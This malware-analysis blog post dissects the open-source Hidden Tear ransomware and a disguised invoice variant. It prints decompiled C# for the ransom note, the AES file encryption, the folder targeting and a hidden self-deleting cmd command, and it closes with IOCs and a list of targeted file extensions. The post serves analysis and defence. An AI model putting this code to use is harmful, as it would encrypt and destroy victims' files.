

Earn-quick-BTC-with-Hiddentear.mp4 / About Open Source Ransomware

dissectingmalwa.re/earn-quick-btc-with-hiddentearmp4-about-open-source-ransomware.html

Sat 26 October 2019 in [Ransomware](#)

No, this will not be a skiddy Tutorial on how to earn quick crypto but rather an analysis of the Open Source Ransomware "Hiddentear".



A general disclaimer as always: downloading and running the samples linked below will lead to the encryption of your personal data, so be f\$cking careful. Also check with your local laws as owning malware binaries/ sources might be illegal depending on where you live.

"Shade Ransomware creator is stupid fxxxx.exe" @ [Any.Run](#) --> [sha256](#)
[ba978eee90be06b1ce303bbee33c680c2779fbbc5b90c83f0674d6989564a70a](#)

Because HiddenCrypt is Written in C# utilizing the .NET Framework 4 static analysis of the Binary will happen in [Progress Telerik JustDecompile](#) and [dnspy](#). With over 370 Forks and about as many stars on Github at the time of writing this, Hiddentear is the arguably the most popular open source Windows Ransomware on the platform.

Repositories	1K
Code	148K
Commits	3K
Issues	2K
Packages	0
Marketplace	0
Topics	17
Wikis	209
Users	22

Languages	
Python	249
C#	99
C++	72

1,050 repository results Sort: Best match

- mauri870/ransomware** Archived Go ★ 375
A POC Windows crypto-ransomware (Academic)
malware ransomware crypto-ransomware
Updated on Nov 17, 2018 1 issue needs help
- goliate/hidden-tear** C# ★ 371
ransomware open-sources
Updated 12 days ago
- utkusen/hidden-tear** ★ 848
an open source ransomware honeypot
Updated on Jan 27, 2016

The original Ransomnote that is dropped to the Desktop by Hidentear:


```
public void messageCreator()
{
    string str = string.Concat(this.userDir, this.userName, "\\Desktop\\READ_IT.txt");
    string[] strArrays = new string[] { "Files has been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };
    File.WriteAllLines(str, strArrays);
}
```

It uses the RijndaelManaged class implemented in *System.Security.Cryptography* for the file encryption routine (which is just a fancy way of saying, that victim data is encrypted with AES-256-CBC :D).

```

MemoryStream memoryStream = new MemoryStream();
try
{
    RijndaelManaged rijndaelManaged = new RijndaelManaged();
    try
    {
        rijndaelManaged.KeySize = 256;
        rijndaelManaged.BlockSize = 128;
        Rfc2898DeriveBytes rfc2898DeriveByte = new Rfc2898DeriveBytes(passwordBytes, numArray, 1000);
        rijndaelManaged.Key = rfc2898DeriveByte.GetBytes(rijndaelManaged.KeySize / 8);
        rijndaelManaged.IV = rfc2898DeriveByte.GetBytes(rijndaelManaged.BlockSize / 8);
        rijndaelManaged.Mode = CipherMode.CBC;
        CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
        try
        {
            cryptoStream.Write(bytesToBeEncrypted, 0, (int)bytesToBeEncrypted.Length);
            cryptoStream.Close();
        }
        finally
        {
            if (cryptoStream != null)
            {
                ((IDisposable)cryptoStream).Dispose();
            }
        }
        array = memoryStream.ToArray();
    }
    finally
    {
        if (rijndaelManaged != null)
        {
            ((IDisposable)rijndaelManaged).Dispose();
        }
    }
}
finally
{
    if (memoryStream != null)
    {
        ((IDisposable)memoryStream).Dispose();
    }
}
}

```



By default Hidden Tear will only spare Folders named *Windows*, *Program Files* and *Program Files (x86)* and encrypt the contents of every Directory that doesn't match this condition.

```
if (!directories[j].Contains("Windows") && !directories[j].Contains("Program Files")
&& !directories[j].Contains("Program Files (x86)"))
{
    this.encryptDirectory(directories[j], password);
    this.messageCreator(directories[j]);
}
```

Another common mechanism to disrupt detection and analysis is a self deletion routine. After a timeout to ensure a completed execution it will just remove itself via the *Del* argument.


```
public void selfDestroy()
{
    ProcessStartInfo processStartInfo = new ProcessStartInfo()
    {
        Arguments = string.Concat("/C timeout 2 && Del /Q /F ",
Application.ExecutablePath),
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true,
        FileName = "cmd.exe"
    };
    Process.Start(processStartInfo);
}
```

4shadow variant available @ [Any.Run](#) --> [sha256 fd5de1631c95041fde92042dd760e1fe27c7fe217d30e6568cc2e69eb812fb85](#)

This sample was found on the IIS Webhost of the Mineral Resources Authority of Papua New Guinea and tries to disguise as a Vodafone PDF Invoice.



Throwing the dropped binary into Detect it Easy returns the notice that it pretends to be a WinRAR installer Version 5.x.



Extracting the strings out of the mentioned executable (with a relatively new fancy tool by fireeye called [stringsifter](#)) one can see that actually includes three references related to WinRAR, where the first is

`D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb` . As for a TIL: sfx stands for "self-extracting archive" which is packaged with an executable to extract it so it's (more or less) independent from the hostsystem. [Wikipedia's](#) got you hooked up.

The full string dump can be had [here](#). It also contains a number of messages in a foreign language which are identified as turkish by Google Translate:

TURKISH - DETECTED GERMAN ENGLISH SPANISH ENGLISH DUTCH JAPANESE

Bunu yapana kadar karakterden fazla olmamal
 Tamam
 Evet
 Hata
 Reddet
 Lisans
 bayt
 kleme ilerlemesi
 stbilgisi bozuk
 ntem bilinmiyor
 klemeyi tekrar deneyin
 erisine kopyalanam
 tirmeyi onaylay
 erisinde kullan
 venli olmayacakt
 r bulunmuyorsa
 yeniden adland
 netici olarak
 n uygulamalar
 klemeyi tekrar
 mesini kullanarak hedef klas
 SFX kod komutlar
 dosyalar olu
 tfen dosyan

Until we do this
 no more than characters
 OK
 Yeah
 Error
 reject
 License
 byte
 click progress
 unstable
 ntem unknown
 try again
 cannot be copied
 confirm
 use next
 will not be viable
 If there is no r
 rename
 as an agent
 n applications
 repeat
 target class using mesini
 SFX code commands
 create files
 Followings

Detect It Easy 2.04

File name: /home/f0wl/Malware/HiddenTear/fatura.exe

Scan Scripts Plugins Log

Type: PE Size: 725504 Entropy FLC S H

Export Import Resource Overlay .NET PE

EntryPoint: 00099e4e ImageBase: 00400000

NumberOfSections: 0003 SizeOfImage: 000b6000

library .NET(v4.0.30319)[-] S ?


linker Microsoft Linker(11.0)[EXE32] S ?

Detect It Easy Signatures Info Scan

100% 99 ms

Options About Exit


Loading the binary into JustDecompile it we notice that it was crypted by something called Aika.



The Assembly Information also gives away that ConfuserEx is involved as well. The payload section confirms that hint as we have an encrypted payload that will be fetched in runtime and then executed via RunPE.

```
[assembly: AssemblyCompany("Ki")]
[assembly: AssemblyDescription("ConfuserEx")]
[assembly: AssemblyFileVersion("1.0.0")]
[assembly: AssemblyProduct("ConfuserEx")]
[assembly: AssemblyTitle("ConfuserEx GUI")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: CompilationRelaxations(8)]
```

Below you can see a screenshot of the Aika Crypter. As I already mentioned it is based on ConfuserEx and includes the other run of the mill evasion techniques and Injections (RunPE or self).





This sample also features an anti-debugging check via `IsDebuggerPresent`. Nothing we haven't seen before either. (👀)


```

push    eax
call    sub_41DE40
mov     eax, [ebp+4]
add     esp, 0Ch
mov     [ebp+var_58], 40000015h
mov     [ebp+var_54], 1
mov     [ebp+var_4C], eax
call    ds:IsDebuggerPresent
push    esi ; lpTopLevelExceptionFilter
lea     ebx, [eax-1]
neg     ebx
lea     eax, [ebp+var_58]
mov     [ebp+ExceptionInfo.ExceptionRecord], eax
lea     eax, [ebp+var_324]
sbb     bl, bl
mov     [ebp+ExceptionInfo.ContextRecord], eax
inc     bl
call    ds:SetUnhandledExceptionFilter
lea     eax, [ebp+ExceptionInfo]
push    eax ; ExceptionInfo
call    ds:UnhandledExceptionFilter
test    eax, eax
jnz     short loc_41DB2A

```



Open Source Ransomware (Malware)?

The main reason why projects like Hidden Tear exist is to use it as a training model and PoC to handle "real" ransomware more efficiently. Critics say that OSS Malware will never match real threats - which is definitely true to some extent - and that it only promotes building weaponized versions of it. On the other hand OSS ransomware is very useful to get a true baseline reading from a sandbox system since you know for sure what it will do next. So what should you think about it know? If you ask me the bad outweighs the good here: Per day multiple new weaponized versions of Hidden Tear hit AnyRun, VT and Co. that are packed/obfuscated or modified with numerous evasion techniques. If it shows us one thing it's that building ransomware isn't hard. Even worse: it is not like ransomware is a dual use tool (like e.g. a hammer). Nobody will call you out for build a PoC binary to better understand the inner workings and how to analyse it afterwards. Don't get me wrong: I'm a HUGE advocate of open source software, but please don't push your "Proof of Concepts" to Github if they can literally be turned into malware by exchanging a URL and Bitcoin address.

IOCs

Hidden Tear (SHA256 / SSDEEP)

454364vodafone-e-fatura.exe
fd5de1631c95041fde92042dd760e1fe27c7fe217d30e6568cc2e69eb812fb85
24576:8NA3R5drXfZAeMQ7MSTlRVHJ88iV4npWuSp008q75pVQNohig1w2YHgLo/:95BAvu7TD1YV0xJYtY0hH

cryptoJoker.exe / "Shade Ransomware creator is stupid fxxxxx.exe"
ba978eee90be06b1ce303bbec33c680c2779fbbc5b90c83f0674d6989564a70a
12288:gnSKwjzsZpds2Jbrp0lSKwjzuzpXs2JTypo:USKwWes6lSKw88s/

URLs

hxxp://fairybreathes.6te[.]net/write.php?info=

Affected File Extensions

".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpeg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".sql", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv", ".csv", ".d3dbsp", ".zip", ".sie", ".sum", ".ibank", ".t13", ".t12", ".qdf", ".gdb", ".tax", ".pkpass", ".bc6", ".bc7", ".bkp", ".qic", ".bkf", ".sidn", ".sidd", ".mddata", ".itl", ".itdb", ".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup", ".syncdb", ".gho", ".cas", ".svg", ".map", ".wmo", ".itm", ".sb", ".fos", ".mov", ".vdf", ".ztmp", ".sis", ".sid", ".ncf", ".menu", ".layout", ".dmp", ".blob", ".esm", ".vcf", ".vtf", ".dazip", ".fpk", ".mlx", ".kf", ".iwd", ".vpk", ".tor", ".psk", ".rim", ".w3x", ".fsh", ".ntl", ".arch00", ".lvl", ".snx", ".cfr", ".ff", ".vpp_pc", ".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge", ".kdb", ".db0", ".dba", ".rofl", ".hkx", ".bar", ".upk", ".das", ".iwi", ".litemod", ".asset", ".forge", ".ltx", ".bsa", ".apk", ".re4", ".sav", ".lbf", ".slm", ".bik", ".epk", ".rgss3a", ".pak", ".big", "wallet", ".wotreplay", ".xxx", ".desc", ".py", ".m3u", ".flv", ".js", ".css", ".rb", ".p7c", ".pk7", ".p7b", ".p12", ".pfx", ".pem", ".crt", ".cer", ".der", ".x3f", ".srw", ".pef", ".ptx", ".r3d", ".rw2", ".rw1", ".raw", ".raf", ".orf", ".nrw", ".mrwref", ".mef", ".erf", ".kdc", ".dcr", ".cr2", ".crw", ".bay", ".sr2", ".srf", ".arw", ".3fr", ".dng", ".jpe", ".jpg", ".cdr", ".indd", ".ai", ".eps", ".pdf", ".pdd", ".dbf", ".mdf", ".wb2", ".rtf", ".wpd", ".dxg", ".xf", ".dwg", ".pst", ".accdb", ".mdb", ".pptm", ".pptx", ".ppt", ".xlk", ".xlsb", ".xlsm", ".xlsx", ".xls", ".wps", ".docm", ".docx", ".doc", ".odb", ".odc", ".odm", ".odp", ".ods", ".odt", ".lnk", ".iso"
